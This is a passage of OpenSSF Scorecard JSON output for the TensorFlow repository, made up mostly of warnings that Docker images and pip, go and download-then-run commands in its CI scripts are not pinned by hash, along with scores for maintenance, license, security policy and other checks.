tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not 